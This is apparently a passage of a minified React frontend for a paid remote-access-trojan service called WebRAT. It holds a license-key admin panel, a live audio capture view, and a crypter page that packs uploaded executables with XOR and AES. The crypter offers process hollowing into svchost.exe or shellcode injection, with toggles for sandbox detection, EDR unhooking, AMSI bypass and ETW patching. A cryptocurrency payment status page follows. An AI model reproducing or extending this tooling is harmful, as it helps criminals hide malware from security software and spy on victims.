Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const pV=4294967295;function mV(e){return e>=pV-86400}function kp(e){return mV(e)?"Never":new Date(e*1e3).toLocaleString()}function M2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function hV({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function xV(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState(null),[A,O]=p.useState(null),[P,I]=p.useState("30d"),[U,D]=p.useState(!1),[M,F]=p.useState(null),[R,W]=p.useState("rat"),[$,H]=p.useState(!1),X=p.useCallback(async()=>{try{const C=await ZE();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),se=p.useCallback(async()=>{try{const C=await eA();a(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([X(),se()]).finally(()=>l(!1))},[X,se]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const K=await QE({duration:m,max_agents:parseInt(x)||0,tier:y});k(K.key),N(!1),await X()}catch(K){u(K instanceof Error?K.message:"Failed to generate key")}finally{w(!1)}},ge=async C=>{u("");try{await JE(C),_(null),await X()}catch(K){u(K instanceof Error?K.message:"Failed to revoke key")}},xe=async()=>{if(A){D(!0),u("");try{await tA(A.id,P),O(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{D(!1)}}},Y=async()=>{if(M){H(!0),u("");try{await nA(M.id,R),F(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{H(!1)}}},ee=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:X,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:ee,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(M2,{status:C.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),s.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?z===C.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>ge(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>_(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>_(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:se,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(hV,{role:C.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:C.license_status?s.jsx(M2,{status:C.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?kp(C.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{O(C),I("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{F(C),W(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:A.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:P,onChange:C=>I(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{onClick:()=>I(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:xe,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:U?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>F(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:M.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>W("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>W("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:Y,disabled:$,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:$?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>F(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function vV(){const{isAdmin:e}=ls(),n=sj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[_,A]=p.useState(""),[O,P]=p.useState(!1),I=p.useRef(null),U=p.useCallback(M=>{M.preventDefault(),P(!1);const F=M.dataTransfer.files[0];F&&i(F)},[]),D=p.useCallback(async()=>{if(!(!r||k)){S(!0),A(""),z(5);try{const M=new FormData;M.append("file",r),M.append("mode",a),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),z(20);const F=setInterval(()=>{z(H=>Math.min(H+5,85))},2e3),R=await XE(M);clearInterval(F),z(100);const W=URL.createObjectURL(R),$=document.createElement("a");$.href=W,$.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild($),$.click(),document.body.removeChild($),URL.revokeObjectURL(W),setTimeout(()=>z(0),2e3)}catch(M){A(M.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer + ${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} + ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:U,onClick:()=>{var M;return(M=I.current)==null?void 0:M.click()},children:[s.jsx("input",{ref:I,type:"file",accept:".exe",className:"hidden",onChange:M=>{var R;const F=(R=M.target.files)==null?void 0:R[0];F&&i(F)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:M,label:F,desc:R,value:W,set:$})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${W?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:W,onChange:H=>$(H.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:F}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:R})]})]},M))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:D,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),_&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:_})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(dt,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function gV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const yV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function bV(){const{id:e}=qo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await gV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?yV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(dt,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight 